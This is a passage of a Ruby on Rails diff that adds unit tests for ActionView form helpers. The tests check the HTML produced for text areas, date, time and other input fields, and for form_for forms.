+ assert_dom_equal('<input id="post_secret_-1" name="post[secret]" type="radio" value="-1" />',
+ radio_button("post", "secret", "-1"))
+ end
+
+ def test_radio_button_respects_passed_in_id
+ assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
+ radio_button("post", "secret", "1", id: "foo")
+ )
+ end
+
+ def test_radio_button_with_booleans
+ assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
+ radio_button("post", "secret", true)
+ )
+
+ assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
+ radio_button("post", "secret", false)
+ )
+ end
+
+ def test_text_area
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_escapes
+ @post.body = "Back to <i>the</i> hill and over it again!"
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nBack to <i>the</i> hill and over it again!</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_alternate_value
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
+ text_area("post", "body", value: "Testing alternate values.")
+ )
+ end
+
+ def test_text_area_with_html_entities
+ @post.body = "The HTML Entity for & is &"
+ assert_dom_equal(
+ %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for & is &</textarea>},
+ text_area("post", "body")
+ )
+ end
+
+ def test_text_area_with_size_option
+ assert_dom_equal(
+ %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", size: "183x820")
+ )
+ end
+
+ def test_color_field_with_valid_hex_color_string
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
+ assert_dom_equal(expected, color_field("car", "color"))
+ end
+
+ def test_color_field_with_invalid_hex_color_string
+ expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
+ @car.color = "#1234TR"
+ assert_dom_equal(expected, color_field("car", "color"))
+ end
+
+ def test_search_field
+ expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
+ assert_dom_equal(expected, search_field("contact", "notes_query"))
+ end
+
+ def test_telephone_field
+ expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
+ assert_dom_equal(expected, telephone_field("user", "cell"))
+ end
+
+ def test_date_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_date_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_date_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = DateTime.new(2004, 6, 15)
+ min_value = DateTime.new(2000, 6, 15)
+ max_value = DateTime.new(2010, 8, 15)
+ step = 2
+ assert_dom_equal(expected, date_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_date_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_date_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, date_field("post", "written_on"))
+ end
+
+ def test_time_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_time_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_time_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, time_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_time_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+ @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_time_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, time_field("post", "written_on"))
+ end
+
+ def test_datetime_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, datetime_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_datetime_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_datetime_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, datetime_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T00:00:00" />}
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_datetime_local_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00" min="2000-06-15T20:45:30" name="post[written_on]" type="datetime-local" value="2004-06-15T01:02:03" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+ max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+ step = 60
+ assert_dom_equal(expected, datetime_local_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_datetime_local_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" value="2004-06-15T15:30:45" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_datetime_local_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="datetime-local" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, datetime_local_field("post", "written_on"))
+ end
+
+ def test_month_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ end
+
+ def test_month_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-12" min="2000-02" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 2, 13)
+ max_value = DateTime.new(2010, 12, 23)
+ step = 2
+ assert_dom_equal(expected, month_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_month_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="month" value="2004-06" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, month_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_week_field
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_nil_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" />}
+ @post.written_on = nil
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_datetime_value
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ end
+
+ def test_week_field_with_extra_attrs
+ expected = %{<input id="post_written_on" step="2" max="2010-W51" min="2000-W06" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+ min_value = DateTime.new(2000, 2, 13)
+ max_value = DateTime.new(2010, 12, 23)
+ step = 2
+ assert_dom_equal(expected, week_field("post", "written_on", min: min_value, max: max_value, step: step))
+ end
+
+ def test_week_field_with_timewithzone_value
+ previous_time_zone, Time.zone = Time.zone, 'UTC'
+ expected = %{<input id="post_written_on" name="post[written_on]" type="week" value="2004-W24" />}
+ @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+ assert_dom_equal(expected, week_field("post", "written_on"))
+ ensure
+ Time.zone = previous_time_zone
+ end
+
+ def test_url_field
+ expected = %{<input id="user_homepage" name="user[homepage]" type="url" />}
+ assert_dom_equal(expected, url_field("user", "homepage"))
+ end
+
+ def test_email_field
+ expected = %{<input id="user_address" name="user[address]" type="email" />}
+ assert_dom_equal(expected, email_field("user", "address"))
+ end
+
+ def test_number_field
+ expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field("order", "quantity", in: 1...10))
+ expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field("order", "quantity", size: 30, in: 1...10))
+ end
+
+ def test_range_input
+ expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field("hifi", "volume", in: 0..11, step: 0.1))
+ expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field("hifi", "volume", size: 30, in: 0..11, step: 0.1))
+ end
+
+ def test_explicit_name
+ assert_dom_equal(
+ '<input id="post_title" name="dont guess" type="text" value="Hello World" />',
+ text_field("post", "title", "name" => "dont guess")
+ )
+ assert_dom_equal(
+ %{<textarea id="post_body" name="really!">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "name" => "really!")
+ )
+ assert_dom_equal(
+ '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
+ check_box("post", "secret", "name" => "i mean it")
+ )
+ assert_dom_equal(
+ text_field("post", "title", "name" => "dont guess"),
+ text_field("post", "title", name: "dont guess")
+ )
+ assert_dom_equal(
+ text_area("post", "body", "name" => "really!"),
+ text_area("post", "body", name: "really!")
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "name" => "i mean it"),
+ check_box("post", "secret", name: "i mean it")
+ )
+ end
+
+ def test_explicit_id
+ assert_dom_equal(
+ '<input id="dont guess" name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title", "id" => "dont guess")
+ )
+ assert_dom_equal(
+ %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "id" => "really!")
+ )
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "id" => "i mean it")
+ )
+ assert_dom_equal(
+ text_field("post", "title", "id" => "dont guess"),
+ text_field("post", "title", id: "dont guess")
+ )
+ assert_dom_equal(
+ text_area("post", "body", "id" => "really!"),
+ text_area("post", "body", id: "really!")
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "id" => "i mean it"),
+ check_box("post", "secret", id: "i mean it")
+ )
+ end
+
+ def test_nil_id
+ assert_dom_equal(
+ '<input name="post[title]" type="text" value="Hello World" />',
+ text_field("post", "title", "id" => nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "id" => nil)
+ )
+ assert_dom_equal(
+ '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "id" => nil)
+ )
+ assert_dom_equal(
+ '<input type="radio" name="post[secret]" value="0" />',
+ radio_button("post", "secret", "0", "id" => nil)
+ )
+ assert_dom_equal(
+ '<select name="post[secret]"></select>',
+ select("post", "secret", [], {}, "id" => nil)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "id" => nil),
+ text_field("post", "title", id: nil)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "id" => nil),
+ text_area("post", "body", id: nil)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "id" => nil),
+ check_box("post", "secret", id: nil)
+ )
+ assert_dom_equal(
+ radio_button("post", "secret", "0", "id" => nil),
+ radio_button("post", "secret", "0", id: nil)
+ )
+ end
+
+ def test_index
+ assert_dom_equal(
+ '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
+ text_field("post", "title", "index" => 5)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "index" => 5)
+ )
+ assert_dom_equal(
+ '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
+ check_box("post", "secret", "index" => 5)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "index" => 5),
+ text_field("post", "title", "index" => 5)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "index" => 5),
+ text_area("post", "body", "index" => 5)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "index" => 5),
+ check_box("post", "secret", "index" => 5)
+ )
+ end
+
+ def test_index_with_nil_id
+ assert_dom_equal(
+ '<input name="post[5][title]" type="text" value="Hello World" />',
+ text_field("post", "title", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post", "body", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
+ check_box("post", "secret", "index" => 5, 'id' => nil)
+ )
+ assert_dom_equal(
+ text_field("post", "title", "index" => 5, 'id' => nil),
+ text_field("post", "title", index: 5, id: nil)
+ )
+ assert_dom_equal(
+ text_area("post", "body", "index" => 5, 'id' => nil),
+ text_area("post", "body", index: 5, id: nil)
+ )
+ assert_dom_equal(
+ check_box("post", "secret", "index" => 5, 'id' => nil),
+ check_box("post", "secret", index: 5, id: nil)
+ )
+ end
+
+ def test_auto_index
+ pid = 123
+ assert_dom_equal(
+ %{<label for="post_#{pid}_title">Title</label>},
+ label("post[]", "title")
+ )
+ assert_dom_equal(
+ %{<input id="post_#{pid}_title" name="post[#{pid}][title]" type="text" value="Hello World" />},
+ text_field("post[]","title")
+ )
+ assert_dom_equal(
+ %{<textarea id="post_#{pid}_body" name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post[]", "body")
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" id="post_#{pid}_secret" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+ check_box("post[]", "secret")
+ )
+ assert_dom_equal(
+ %{<input checked="checked" id="post_#{pid}_title_hello_world" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+ radio_button("post[]", "title", "Hello World")
+ )
+ assert_dom_equal(
+ %{<input id="post_#{pid}_title_goodbye_world" name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+ radio_button("post[]", "title", "Goodbye World")
+ )
+ end
+
+ def test_auto_index_with_nil_id
+ pid = 123
+ assert_dom_equal(
+ %{<input name="post[#{pid}][title]" type="text" value="Hello World" />},
+ text_field("post[]", "title", id: nil)
+ )
+ assert_dom_equal(
+ %{<textarea name="post[#{pid}][body]">\nBack to the hill and over it again!</textarea>},
+ text_area("post[]", "body", id: nil)
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][secret]" type="hidden" value="0" /><input checked="checked" name="post[#{pid}][secret]" type="checkbox" value="1" />},
+ check_box("post[]", "secret", id: nil)
+ )
+ assert_dom_equal(
+ %{<input checked="checked" name="post[#{pid}][title]" type="radio" value="Hello World" />},
+ radio_button("post[]", "title", "Hello World", id: nil)
+ )
+ assert_dom_equal(
+ %{<input name="post[#{pid}][title]" type="radio" value="Goodbye World" />},
+ radio_button("post[]", "title", "Goodbye World", id: nil)
+ )
+ end
+
+ def test_form_for_requires_block
+ assert_raises(ArgumentError) do
+ form_for(:post, @post, html: { id: 'create-post' })
+ end
+ end
+
+ def test_form_for_requires_arguments
+ error = assert_raises(ArgumentError) do
+ form_for(nil, html: { id: 'create-post' }) do
+ end
+ end
+ assert_equal "First argument in form cannot contain nil or be empty", error.message
+
+ error = assert_raises(ArgumentError) do
+ form_for([nil, nil], html: { id: 'create-post' }) do
+ end
+ end
+ assert_equal "First argument in form cannot contain nil or be empty", error.message
+ end
+
+ def test_form_for
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ concat f.label(:title) { "The Title" }
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ concat f.submit('Create post')
+ concat f.button('Create post')
+ concat f.button {
+ concat content_tag(:span, 'Create post')
+ }
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch") do
+ "<label for='post_title'>The Title</label>" +
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
+ "<input name='commit' type='submit' value='Create post' />" +
+ "<button name='button' type='submit'>Create post</button>" +
+ "<button name='button' type='submit'><span>Create post</span></button>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+ form_for(post) do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "<label for='post_active_true'>true</label>" +
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "<label for='post_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons_with_custom_builder_block
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post) do |f|
+ rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+ b.label { b.radio_button + b.text }
+ end
+ concat rendered_radio_buttons
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<label for='post_active_true'>"+
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "true</label>" +
+ "<label for='post_active_false'>"+
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
+ post = Post.new
+ def post.active; false; end
+ def post.id; 1; end
+
+ form_for(post) do |f|
+ rendered_radio_buttons = f.collection_radio_buttons(:active, [true, false], :to_s, :to_s) do |b|
+ b.label { b.radio_button + b.text }
+ end
+ concat rendered_radio_buttons
+ concat f.hidden_field :id
+ end
+
+ expected = whole_form("/posts", "new_post_1", "new_post") do
+ "<label for='post_active_true'>"+
+ "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
+ "true</label>" +
+ "<label for='post_active_false'>"+
+ "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
+ "false</label>"+
+ "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+ form_for(post) do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_tag_ids_1'>Tag 1</label>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "<label for='post_tag_ids_2'>Tag 2</label>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "<label for='post_tag_ids_3'>Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes_with_custom_builder_block
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+ form_for(post) do |f|
+ rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+ b.label { b.check_box + b.text }
+ end
+ concat rendered_check_boxes
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<label for='post_tag_ids_1'>" +
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "Tag 1</label>" +
+ "<label for='post_tag_ids_2'>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "Tag 2</label>" +
+ "<label for='post_tag_ids_3'>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+ post = Post.new
+ def post.tag_ids; [1, 3]; end
+ def post.id; 1; end
+ collection = (1..3).map { |i| [i, "Tag #{i}"] }
+
+ form_for(post) do |f|
+ rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
+ b.label { b.check_box + b.text }
+ end
+ concat rendered_check_boxes
+ concat f.hidden_field :id
+ end
+
+ expected = whole_form("/posts", "new_post_1", "new_post") do
+ "<label for='post_tag_ids_1'>" +
+ "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
+ "Tag 1</label>" +
+ "<label for='post_tag_ids_2'>" +
+ "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
+ "Tag 2</label>" +
+ "<label for='post_tag_ids_3'>" +
+ "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
+ "Tag 3</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"+
+ "<input id='post_id' name='post[id]' type='hidden' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_file_field_generate_multipart
+ Post.send :attr_accessor, :file
+
+ form_for(@post, html: { id: 'create-post' }) do |f|
+ concat f.file_field(:file)
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_post", method: "patch", multipart: true) do
+ "<input name='post[file]' type='file' id='post_file' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_fields_for_with_file_field_generate_multipart
+ Comment.send :attr_accessor, :file
+
+ form_for(@post) do |f|
+ concat f.fields_for(:comment, @post) { |c|
+ concat c.file_field(:file)
+ }
+ end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch", multipart: true) do
+ "<input name='post[comment][file]' type='file' id='post_comment_file' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_format
+ form_for(@post, format: :json, html: { id: "edit_post_123", class: "edit_post" }) do |f|
+ concat f.label(:title)
+ end
+
+ expected = whole_form("/posts/123.json", "edit_post_123", "edit_post", method: 'patch') do
+ "<label for='post_title'>Title</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_model_using_relative_model_naming
+ blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+ form_for(blog_post) do |f|
+ concat f.text_field :title
+ concat f.submit('Edit post')
+ end
+
+ expected = whole_form("/posts/44", "edit_post_44", "edit_post", method: "patch") do
+ "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
+ "<input name='commit' type='submit' value='Edit post' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_symbol_object_name
+ form_for(@post, as: "other_name", html: { id: "create-post" }) do |f|
+ concat f.label(:title, class: 'post_title')
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ concat f.submit('Create post')
+ end
+
+ expected = whole_form("/posts/123", "create-post", "edit_other_name", method: "patch") do
+ "<label for='other_name_title' class='post_title'>Title</label>" +
+ "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
+ "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='other_name[secret]' value='0' type='hidden' />" +
+ "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
+ "<input name='commit' value='Create post' type='submit' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_method_as_part_of_html_options
+ form_for(@post, url: '/', html: { id: 'create-post', method: :delete }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_method
+ form_for(@post, url: '/', method: :delete, html: { id: 'create-post' }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "delete") do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_search_field
+ # Test case for bug which would emit an "object" attribute
+ # when used with form_for using a search_field form helper
+ form_for(Post.new, url: "/search", html: { id: "search-post", method: :get }) do |f|
+ concat f.search_field(:title)
+ end
+
+ expected = whole_form("/search", "search-post", "new_post", method: "get") do
+ "<input name='post[title]' type='search' id='post_title' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_remote
+ form_for(@post, url: '/', remote: true, html: { id: 'create-post', method: :patch }) do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form("/", "create-post", "edit_post", method: "patch", remote: true) do
+ "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
